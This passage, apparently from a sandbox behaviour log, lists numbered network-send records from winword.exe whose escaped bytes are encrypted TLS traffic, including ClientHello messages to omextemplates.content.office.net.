  433. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04u\\x1f\\xed\\xdb\\xaag\\xc6k<\\xcc\\xc7z\\x1c\\x0e\\xa5\\xce\\x9a\\x16\\x82a>i\\xbe\\xd2\\xbd\\x07\\xb25\\xbf\\x1b\\x01\\x12\\x9e\\x80\\xd9e\\x056,\\x90w\\xe5m\\xc1\\x1a\\x0f*\\xd5\\x0f'\\x8b7\\x95\\x00\\xa3f\\xa5k\\x8e\\x96\\x15\\xd8\\x8f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x8c\\x15x\\x80\\xebh\\xef\\x93%,\\x87\\xdai\\xad'\\x8e?\\xcc\\xd4\\xda\\xa2\\x91^l2/8l\\x92\\xf7x?\\x93rf\\xdb\\x88\\xc64\\xc1\\x8e\\xda2\\xf7:."
  434.  
  435.  
  436. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x88b!\\xd5\\x8eh\\xf9\\xa09\\x1a\\x0cp2h\\xdbn\\xf6uk\\x86\\xcf\\xa2jd&\\x1e0\\xc6\\xa4\\x8f\\xd9\\xcd\\xfa\\xf7\\xe3\\xd6\\xa6w\\xfd\\x9dn\\xbd\\x97\\xcf\\xa4\\x7fv\\x86l\\xdd\\xef<q\\x82\\xeey\\xc7\\xd0i\\x87x\\xc1\\x80\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3>\\x9d\\xf6d\\xfb\\xf2\\xb8=\\x89\\xa6'-\\xa7\\xa3d\\xb3\\xbc\\xd6v\\xf3\\x05\\xb4\\x07\\x83w\\x97\\x87+i\\x0e\\xbd\\x13rxt\\xd7\\xfb\\xb7\\xd2\\xae\\x9a\\xb4\\xeb\\xd01fz"
  437.  
  438.  
  439. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x043_\\xa6\\xc0\\xf8\\xd0?\\xed\\xa5\\x7fa\\xe9\\xd0\\xc7(\\xbe\\xbc\\xa3\\xe9\\x18\\xc8\\x0c\\x8d\\xce\\xf8\\x8e\\xa5\\x16bl\\xe78r!3\\x13\r5\\xbe\\xf2\\x08*\\x1bv7f)\\xe4\\x05/\\x95\\x19\\x81\\xe5'\\xeet\r\\x06t\\xf6@\\x95\\xd8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9b\\xf3\\xbbpin\\xbdd\\xad\\xd7ga\\xe5*\\x8ahq\\x1d\\xb0g\\xaa\\xdc-\"\\xb1\\xc2\\xcacj\\xf7\\xcc\\x10\\xaa\\x17\\xc5\\xb2sm\\xea\\xd1a\\x9b\\xb1\\x7fe\\x1c^\\x16"
  440.  
  441.  
  442. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdaz&kjm\rw\\x1b\\xac\\xc8\\x88tg2s\\xb1\\xfc\\x81dn\\x85\\xa3\\xd3\\xfd\\x13\\xbc\\x1e\\x1e;\\xaabsm`@\\xe0\\x15\\xc4\\xbe1'\\xba\\x93\\xdd2<\\xd9\\x91\\xba\t\\x88\\xec\\xa8\\xca\\x88\\x08\\x0e\\xc4e\\xbe7\\xc9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc7\\xc8z\\xda\\x06\\x82\\xde'\\x96me\\xe6\\x9b\\xb9r\\x082\\x8f\\x12\\xa0\\xf5\\xe3\\x8e`\\x1ed\\x85\\x9f\\xf3\\x81\\xe2\\x0f\\xe3\\x07\\xc8\\xd8\\xb8m\\x86\\x8ew\\xd7pti"
  443.  
  444.  
  445. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04m\\xaem\\xb1\\j\\x89\\x8co8\\x8a4\\x83\\xba\\x9d\\xc2\\xdf7`5\\xcf*\\x02\\xa1g\\xf9\\xc6l\\xf4\\x82v\\xf8=tg\\xf7\\xa2e?\\xc1\\xe9x\\x0f9\\xcd-\\xde7\\x83\t\\xb2\\xed\\xda2u \\xba\\x80u\\xd0\\xeb$ey\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa8&\\xdf\\x0f\\x17\\xbc\"\\xdd:m_\\x00\\x80n\\x87\\x8d\\xb9i\\xc0\\xae\\xf8\\x16\\x17\\xa96\\xda\\x1c\\xff\\xe9\\xf1\\x95oc8\\xd5\\xa8j\\xffgw\\xd9g\\xe9\\xe4\\xa8ty"
  446.  
  447.  
  448. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04no\\xaa\\xcb\\\\xd2\\xe8fb\\x1c\\xa6\\xc3\\xdbs\\xacf\\xcbi\\x1c\\xba 9\\xd3\\xc7\\xa6\\xb2\\x14i\\x0bq@\\x91\\x0fo\\xec%vl rvs?nnai.t\\xf5\\\\x0c\\x0e\\x1c\\xae\\xdf\\x87h\\xb1\\xfc\\xdfym\\xef\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdf\\xc8_<\\xaf\\xd4d\\xc1\\xf1\\xad\\x99\\x90\\xcbr\\xfdl\\xf3\\xea\\xdf\\xc4\\xc5?dw'\\xfdw\\x02\\x9b\\xb3`\\x0b\\xc3\\xa9\\xf1gk\\xfa&;\\x0f*\\xb3\\xd2\\x03\\x80\\x03\\x0c"
  449.  
  450.  
  451. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8d(v\\xb9z\\xbe(=0c\\x110\\x82y\\x9e\\x04\\xcbi\\x08\\xc0\\xfcbb\\xf2\\xeb\\x15#,%\\xe0@\\xde\\xdd~\\xc3z?4v?\\xcb\\x8c\\xa3\\xc2\\xde\\xc2\\xb9^\\xef\\xdc\\xfa\\x96\\xf4\\x8b,\\x8f\\x13\\xb9\\xa68\\xb1\\xc3\\xef\\xc9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000>1e\\xd2\\xe5\\xb9i\\x14t\\xe5\\xaa_\\x0cz\\xb1\\x13hwd\\xf5\\x13j\\xb4\\xed\\xb2-#ux\\xe3\\xe8\\xdd\\xb0\\xdavh\\xefd\\xcc>\\xfe2<|x\\x93"
  452.  
  453.  
  454. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xbfs-?3\\x8foz\\x8a\\xa3\\xe3\n\\x1d*\\xa9\\x05\\xba;\\x10\\xdc\\xf6\\x1dgl\\x0b\\xdf\\x05\\xd6\\x9e\\xaf\\xbb\\xee\\x7f)\\xc2/\\xae\\xc9\\xee\\x9f4sg\\xff\\x8e\\xef\\xba^t\\xa7\\x88\\xb1&\\xf3u\\xf8\\xda\\xaa\\x90\\x1d\\xf0\\xc1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000>\\x9a$\\xb7\\xd7d\\xb2@e\\x1f\\x05\\x10\\xae\\xfe\\xc6\\x8d\\xf61\tk\\x19\\xf433 \\xd5a \\xc22\\x8f:d6\\x04@~\\xcf\\x16\\x0c\\xef\tcv\\x99\\xf2^\\xd3"
  455.  
  456.  
  457. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb1\\xb5\\xd5p1\\x80\\xcc6qu\\xda\\xcb?\\xba\\z\\xa2\\x9f\\xac\\xc4\\x19d-\\x89\\x1e\\x06\\x9ex\\xab\\xfa\\xd4z\\x0e\\xe2\\xea\\x1c\\x80v%\\x10_\\xa7b:\\xfe\\xcc\\xe2\\x12\\xb1t(\\x14\\x82\\xabb\\xaf\"\\xe4k\\xa1\\x0e\\x01n\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xda\\xd1)\\x0f\\xb4%9\\xa7z\\xd1@\\xd8\\xbe\\xdbi\\x01\\x0e\\xa9\\x95\\x06%\\x80\\xd0\\x9b\\xf0\\xe3\\xce\\x80\\xa2h\\x8c4\\x03\\xban\\xdcu\\xf4/?\\x0f\\x9b$\\xb8\\xb6\\x94*"
  458.  
  459.  
  460. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04;\\xeaz\\x10\\x05su\\x89\\xd2\\xc8\\xa4\\xa7o\\xd1\\xed\\x95\\x029;\\xcc\\xc8\\x8e\\xb9r\\x90\\xf3od\\x96\\xbc\\x16\\x9b\\xfay\\xaa\\x9c0\\xb9\\xf4\\xb3\\xabe\"\\xce\\x11\\\\xca\\x87\\x18u\\x91\\xc9a\\x8d\\xa5\\xa0\\x11\\xca\\xe73g\\xf6\\x12\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf6n1\\xad -\\xfc@n\\x0e\\xd4\\xd9\\xfet\\xb8;\\xfb\\x1ex\\x95:\\xfd\\x06zw\\x12\\xb3\\xb7\\x14w*f\\xeb\\x921\\xff\\x06k\\xbfk\\x19\\x0c\\xb2\\xdd\\xb0\\x03z"
  461.  
  462.  
  463. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf2*\\xe4\\x0e5p\\xe6z\\xc1\\xaf\\x85\\xdar\\xdeid\\x91\\xc0\\xae0ht\\xc9\\x1dl9\\x82r\\x1a\\x8f%\\xd1pt\\xfbn\"7\\xe9\\x0f\\xc7\\xc1\\x9c\\x9c\\xf5k\\xb1\\x10\\x99za\\xe4\\x04\\xa3p\\x0b'=\\x94\\xf5\\x1e\\xf1\\xed\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000@\\x88yp#\\xe4\\xe9r-\\x05b\\x91\\x04\\x84l\\xe4\\xde\\x08\\x12\\xec\\x97\\x02\\xe1k\\x9c\r\\xfb\\xc9\\xc4\\xe7\\xcfj6w\\xb1\\xf22n\\x0c\\xfc4m\\xa60j\\x96"
  464.  
  465.  
  466. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb5\\xa2it\\xdc\\xd5p%g:\\x83\\x16p-\\xc7\\xddr\\x87s_\\xbf\\x9a>\\xba\\x9b#\\x10\\x05\\xd8fe\\xdc\\xcb\\xb6\\xdd\\x1a\\xa4\\x1f\\xc3\\xfa!b\\xa9m@\\xec\\x01\\x9c\\x15=\\g\\xae\\xeb=\\x9bkh\\xc4\\xcdx\\x0c\\xf9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa1'\\x9cy\\x1f\\x08\\xdcy8\\xdes\\x13\\x82z\\x9eg,y\\xe3\\x94_\\xb7\\xcd\\x9e\\x8a\\x17\\x14\\xe7_\\x00\\x1c\\xdc\\xf3\\x154y\\x12\\x14\\xed\\xb8\\x97\\xc9\\x97\\x90d\\xd8\\x86"
  467.  
  468.  
  469. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc9\\xcb\\xfc\\x1bt\\xb5@\\xfb\\xd9j\\xbc0\\xd9z\\x86\\xe5\\xaf\\xb0@\\xd1\\xb56\\x00lvm\\xcb\\xb0\\x834\\x17\\xa5\\x0e\\x0f\\x8a\\xb8u\\xe7jut\\xa4\\xfc~\\xe8f\"\\xb6\\xb2\\xb5\\x17\\xbb%\\xbb\\x8f\\x15\\xfc\\xaa\\xde\\xae\\xfe\\xc9\\x06\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xff\\x10\\xba\\x92ny!\\xac\\xb3\\xe7n\\x00vq\\xbc%\\x95q\\xe3v\\xe1\\xf1r\\xb6\\x80\\x96\\x19\\x878!o\\xb0\\x1c\\x84\\x88\"xfs\\x0b~p\\xa7\\xaeb\\x1e\\x89"
  470.  
  471.  
  472. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04e\\x0b\\xfa\\x87i\\x7f0\\xc2\\xac\\x02\\x86\\x1au7\\xe63\\x98\\xe5-\\xbdfj\\x813'\\x9e\\x11\ta\\x8d\\xed\\x0f\\xc7\\x01\\xa0\\xa1w2\\xca\\xce\\x1d)\\x01\\xdb\\x11~0\\x0f\\x93\n\\xe2\\xd3\\xb0\\x1e\\x84e\\xa8\\xe3\\x18\\xa7\\xaf\\xe1\\x8aj\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd2k\\xa9\\xc2\\xbd!\\x0fm\\xfd`\\xb6!\\x82\\x8b\\xb9s`\\xce9\\x1e\\xe8$\\x81\\xdb\\x18\\x8f\\xde\\x82\\x93\\xa5\\xbf\\xa9\\xe1\\xa2\\xe4\\xe6\\xf00\\x98 io\\xd8\\xf6h\\xd1"
  473.  
  474.  
  475. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x97\\xe7\\x14~\\x1e$\\xfaka\\x1ce;l\\x8dv\\x9e\\xb8x\\xc90\\\\xd81\\xbb\\x1f1\\x82\\xb6\\xcf\\x9f\\x05~\\xf9\\x8c\\xa3\\xee\\x17\\xec\\xbb\\x05v\\xfbb:k,\\x1df\\x96\\xcfhg\\xbe\\xa0$\\x080\\xc5r\\x08\\xbf\\x9b\\x9e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x80x\\x02\\xc42\\xa3\\x9c>`\\x8b'2r\\xf0\\xd9.ig\\xa6\\xcb\\x9c,\\xadl\\x88v\\xdb\\x84h0\\x03\\xd1\\xc1\\xd0\\x0cs<\\x88c\\xfe)\\xf1\\xcdk\\xfb^\t\\x12"
  476.  
  477.  
  478. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\t\\xb6!ov\\x10\\x93\\xd9!r\\xf6\\xceo \\xdbtk\\x01\\x93\\xabs\\xe3\\xe2k\\xa5\\x82\\x93h\\xab\\x974\\xd9\\xb3\\x91\\x9c\\x1d\\xa8\\xa3$\\xa0\\xfd\\xa8\\xf1k\\xb5p\\x9d>\\xef-\\x95\\xbbt\\x89v'\\x8e\\x83\\x8a8\\xe7l\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000p\\xafa\\x1d\\x8e'9\\xf0\\xbd\\x8b9@\\xfb\\xb8\\xeei\\xbb2\\x1b\\x19&t)\\x12\\x88\\x86\\x88\\xda\\xaa\\xe3?\\xdd<\\xbe\\xb3s\\x1d\\xcf\\xc7\\xcay\\xcck\\x935\\xfd\\xe0"
  479.  
  480.  
  481. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04t*h\\x13j\\xbf\\xed\\xe7\\xf7\t\\xe6\\x01ql\\xf7\\xc1\\x84+\\x8ay!\\x0c\\xb3\\x0bthi\\xb1\\x85l\\xfag\\x83f\\xe9#\\xd7\\x0ek\\xd4\\x8f\\x83\\xa9=b\\x15\\xb8\\xc9\\xe9hg\\x98\\xdb.cd|\\xce\\xfd\\xd5^r3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x89\\xe4\\x8c\\xbb\t\\xd8f=\\x1b?\\xa5s\\x94+\\xe8)r\\xa7=\\x8d\\x8c\\x85\\xffh\\x1b\\x1af\\x927\\xf9\\x92\\xc6\\x02\\xb6\\xf1x\\xdf\\x04z\t6`x\\xa3\\xeeg\\x18o"
  482.  
  483.  
  484. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xd9\\xa0?\\x17\\x8fng\\xcfy\\x19\\x08\\xa6t=\\x97\\xf5\\x96\\xfd\\xbc\\x96\\xb8w\\xd5\\x17\\x8e\\xefz\\xff\\xf3^\\xb1\\xb5\r\\xa2\\xee\\x13\\x8a@\\xebj4\\xef\\x10\\xef mp\\xe6\\x94\\xf19\\x00\\xb5$\\x94\\xf5l\\xa9r\\xc1\\xe7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000(jb\\xcb/j\\xecq\\x9b$n\\xddp\\xf2@\\xd1\\x95o\\x04\\xdd!\\xe4\\x88\\xf0v\\x9c\\xcd\\xf7v\\xb8,relc\\xe1\\x8e\\x99\\x92\\xa5\\xbdok8a\\xb8"
  485.  
  486.  
  487. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xac\\x1dne\\xc0\\xe5ug$u\\x18\\x9f\\x05\\xf0%\\xe7\\xc1\\xeb\\x89\r\\x10\\xees\\xa0&h\\xc5\\xf2\\x14f\\xdd\\xc9eiy\\xd7\\xa6q\\xf7\\x94 \\xe6a\\xa8\\xe6\\xa1\\xd67\\xdf\\x9cf\\xa7\\xd0~wjj\\xc1\\xdd\\xfcv\\xe9\\xba\\xe6\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe9\\xd5r\\xef\"\\x93\\xc8^\\xf0\\x85\\xe1\\x86\\xf7nm\\x1f\\xa7i\\xfe\r\\x83\\xf7\\xcf\n\\x92\\xdb\\x1e$!6\\xebu\\xffi\\xd0\\xf2\\xaaz/\\xe8ap\\xca\\x85\\xc2\\xde\\xd0"
  488.  
  489.  
  490. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o\\xea=u\\xee\\xdb.sc\\xbd\\xb2tet\\xe8\\x02\\xf3\\xdds\\x05\\xd0\\x03\\xe8\\x08$dn\\xca\\xa4\\xae\\x02k\\x94\\xdf\\x1bk\\xf4\\x1f?\\xbb\\xc5\\xe2\\x9f\\x9e\\x0b\\xe8/\\xf0u\\xe9~\\x0e5\n\\xd7\\x80\\x0c\\xb3qbn\\xfd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1f\\x8d\\x99\\x19\\x853\\xf9\\xd3\\xc9\\xef\\x9e\\xd7\\xb4,\\xfbf\r\\xf7\\xbe'j\\xd6\\x12\\xda\\x9br7\\x92\\xb1,\\xf8\\xe4t\\xcd8q\\xca\\xd1\\x0c\\xb67\\x19\\xbc\\xea\\x962\\x1b\\xf3"
  491.  
  492.  
  493. "http_request": "winword.exe_WSASend_\\x8e\\x00\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9e0f\\x9cst\\xd2?\\x02\\x14\\xd1\\xda\\xaa\\x7f\"\\xec@\\xf3\\x86h\\x8a\\x16\\x87\\xa5\\x9d\\x12\\xf6\\xa3\\xd0\\x8f)2\\xb5\\x87\\x92\\x93\\x9c\\xbe\\x97v\\xc6-\\x0b\\xc2\\xd2\\x1c\\x89\\xd0\\x95\\x92b\\x05gi\\x04e\\xa5\t\\xca\\x8b\\xd8\\xfb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xeew\\xa6\\x808\\xbc\\x7f\\x03\\xc4\\xf77\\x19\\x1e\\xa8\\x14\\x83\\xb6!;\\xd1\\x94\\x1f\\xf6@\\xc4\\x99d>\\xd9\\x0c\\x98\\x88\\xdf/i\\\\xcb\\xbb8\\x05\\xcaw\\x01y\\x87"
  494.  
  495.  
  496. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04`\\x96p3v7s\\x87\\xa7b>\\x9fi\\xfd\\x8d\\x11\\x05n\\xca\\xe7z4?\\x973\\xac\\xc1:zz\\xc8\\xb4\rz\\xe7\\xd2\\x9e\\xec\\x03\\xfdbo\"n\\x92\\xc5\\xb0x%e\\xb5y\\x8b \\xcb\\x0c\\xf1*z\\xecdal\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x19\\xf2\\xd7l;\\xdby\\xa8\\xbeo\\xd44~\\xe0\\xcfgw\\x82f\\x17\\xfa\\xb0\\xe9\\xa0k\\x8e0\\xba\\x02\\xeem\\xdb\\x82\\xd5r\\x7f\\xde\\xeb\\x84|e\\x9c|\\xb5\\x86\\x19\\xca"
  497.  
  498.  
  499. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\\\xe9\\xfc\\xd7@\\xb4\\x07\\xb5\\xe6\\x8e\\xa9=\\xc8\\xc9?)\\x13 \\xfa\\x91h^\\xde\\x12(\\xe3\\x98\\x1f\\xb1\\xfa\\x8d\\x11\\xb1w\\x05\\xc0y\\xb2\\xd9\\x9e\\xc8\\xd9k\\xc0-\\x0ew\\xf8t\\xd9\\xaa.\\xe6\\xf2\\xe3\\x8f\\xc0\\x90=!s\\xcc\\x10x\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcc\\x7f\\xf4=\\xc4zc\r\\xf7\\xfb\\xdea\\xe2\\x0e6\\xb0i\\x1b\\xae\\x19\\x11\\x94.\\x12\\xb3\\x1a\\x82\\xe2\\xda\\xe2\\xfe\\xd1\\xfc\\x0b\nc.\\x84\\xc7\\xb1\\x1c\\x92\\xfb\\x08\\x87f)"
  500.  
  501.  
  502. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x88\\x04\\x07\\xbc3\\x9b\\x04\\xa2\\x92\\xae\\x84u\\xf2y\\xd3\\x9c\\xf1\\x15\\xa1\\x10u\\xa7\\xdal\\xebd\\x99\\xfey\\xd9\\xb4\\x87\\xe8<\\x86,-\\xf3\\x13\\xb4*?\\xa6\\xd9\\xa8\\xe1\\xd0-tj\\x01h&\\x05\\xfa\\xfc\\x0c\\x015\\xa2\\x02\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0002\\xdd\\x14\\x0e\\xed\\x17\\x02\\x9bh\\x8a\\xc4l\\xf8q\\x18*f\\x81\"\\xe5\\xba\\xb0\\x96\\xf5\\xe4:+1\\x11\\x9e\\xbc!\\x16\\x91\\xe4\\xb7$\\xe1\\x7f9\\xc1\\xab\\xa0\\xa4b/u"
  503.  
  504.  
  505. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x08vu\\xff\\x83>:\\xbf\\xe0)qj\\x03~\\x05v\\x80\\xfe\na\\xd7\\x93\\x82 \\xe2\\xa1i\\x91\\x0b\\x81\\xfdb\\xe90\\xaa\\xfav\\xe8\\x06\\x19\\xd3\\x0cl\\xc9\\xb1q)n\\xd6\\xd5\\xd5\\xb7\\xfa\\x1c\\xa4\\xbe0\\xba~\\x13\\xd0\\x07\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0004\\xa4\\x8f\\x93\\xe3d\\xa2\\x83\\xed\\xde\\xfb\\xa4w\\xd8\\x10\\x1cg\\xcbp\\xc2\\x84;\\x9f\\x07\\xfc\\xece\\x8c\\x7f\\x19t\\x8ef!u%i\\xdc\\xbf\\f@\\x8f\tzd\\xf6+"
  506.  
  507.  
  508. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04v\\x82\n\\x7f!\\x91&\\x8b\\xa3r\\x1f\\xb0\\xb5 6\\x15\\x8dlzyk\\x1c.\\xb6\\x1a\\x90\\xb2\\x08q`\\x93\\xaf\\xaf\\x17\\xeb\\x17e&^i\\xc3!\\x94\\x00\\xb1\\x1bk3\\xf1\\x88\\xdd\\xae3\\xbd\\x93\\xb7v\\xe4o\\x9b\\x91\\xa2*\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x10\\x0e\\x13\\xc7\\xa6\\xabjj\\xf2\\x0b\\xb7bh\\x9e\\xc6\\x06\\xba\\x1ai^\\xac\\x13\\x00\\x80x6u\\x12\\ ^\\xa9\\xa6\\xe3\\x15c\\xe0\\x0c\\xbe\\xd2hl\\xfe\"\\xea\\xaa\\xdbq"
  509.  
  510.  
  511. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04p\\xc1\\xc9\\xa7\\xe8\\x03\\xa0\\xda\\xfc\\x8e:k\\xb4\\xdbuw\\x1dlh dd\\xbf\\xfd1\\x05qc\\xe5q\\xc3\\xafr\\xc6\\xd3\\x94\\x06\\xa5\\xfc~\\xb9y\\xb3l\\xc4\\xb2b\\xdd\\xe1;\\x17\\xd2\\x1drc\\x17\\xe6*\\xe8k\\x05\\x04\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x84k+\\xcd\\x06\\x00\\xb0%1\\x17\\xdc\\xc4\\xf9\\x1c\\x02\\xd0m\\x7f0f\\xb0\\xdb3\\xed\\xcd5\r\\x1a\\xc8\\x96\\xf8\\x95\\xd3\\xe0z\\xcfp\\xa1\\xd3\\xae'\\xe4\\x08\\x9e\r\\xf67"
  512.  
  513.  
  514. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xbda\\xbf:8\\x12\\xf2\\x0f\\xd9\\x14\\x90\\xf2b\\x9a\\xf7e\\x10y2\\x80\\xc7\\x08m<\\xf4*v_\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  515.  
  516.  
  517. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x019_\\xeb\\xdb\\x05_k\\xf8\\xb4$:\\x83(\\xf2r<\\x91v\\x15\\x11\\xee6\\xf3\\xe8l\\x9e\\xe8\\x8a\\x90\\xc0\\x94\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  518.  
  519.  
  520. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xa1\\x96j\\x17\\xaaq\\xc2rk\\xfc\\xc4\\xc7\\xcdy\\xca\\xb4x+\\x07.\\xd4\\xc6\\xd9t\\xee\\x98jm\\xfdj\\xbd\\xc1i=\\x00\\x972\\x1c\\x9e\\xc9\r\\xc7'\\xb0z\\x9fs\\xd7/\\x96\\xd1\\x115b\\xf5\n\\x05\\xdb\\x0bg\\x85<\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000.\\x1b+\\xdd\\x08\\x9ec\\x0b7\\xee\\xb4\\x89\\xfa\\xafz\\x1a#1\\xa9\\x03\\xe0\\xd8\n\\xe8\\xdepw\\x040r\\xf8\t\\xae#z\\x0c\\xcf\\x19h\\x8a\\x90l\\x9f\"c\\xd2g\n"
  521.  
  522.  
  523. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xb3\\x9a!\\x9b\\x1a\\xf7a\\x82\\xca\\xcf\\x89\\xa1\\xc2\\xd2\\xbdvs\\xa8j\\x98j\\xd1y\\xb9\\xb2\\xb0xxm\\x08\\x8a\\xa2\\xe3\\xddzn9n\\xfe\\xd4z\\xfa\\xc3z\\x96\\xd2`\\xe37\\xf8\\xd6\\x03\\xb3\\xbe\\xcb4mt\"\\x15\\x8d\n3f\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000|\\xf1%\\xb9\\xc2\\x9ez\\x88\\xf6\\xbe\\xc4\\xde\\x9d\\x12a\\xd5qn\\x98\\xb0\\x88\\x1d\\xde\\xbcj\\x98\\xe0\\x83\n\\xb6\\xe0\\xdbv\\x9eu|\\x18\\x97?\\x0ev\\x95\\\\xe7\\x05\\x9c\\x8f\\xce"
  524.  
  525.  
  526. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xdb\\x92&\\xb1\\x15x\\xf9\\xf0\\xc3\\xa6\\xe3\\xc3:\\xad\\x1a55\\x01e\\xe1q3@\\x80s,\\x83\\xca\\xa2\\x1a\\xff\\xcbw\\x89*\\x124\\xfc-\\x02d\\xaf\\x9d\\xe7\\xa7>\\xc4\\xc9\\xafwsq\\xbcb\\x07\\xf6\\x86)4\\x81r\\x00\\x17\\xcc\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb3\\xc5y\\xec\\xa8a\\xbb\\x17\\xc43\\xf79\\xcf\\xfa\\x18\\x9d\\xd9\\x9akj\\x1e\\xab\\x11w\\x8a\\xa1z\\xa6bi\\xf3\\x83\\xf2?q\\xc0\\xfa\\x9dh-\\xd2y\\xaf\\xc8\\xe4\\xcd\\xf76"
  527.  
  528.  
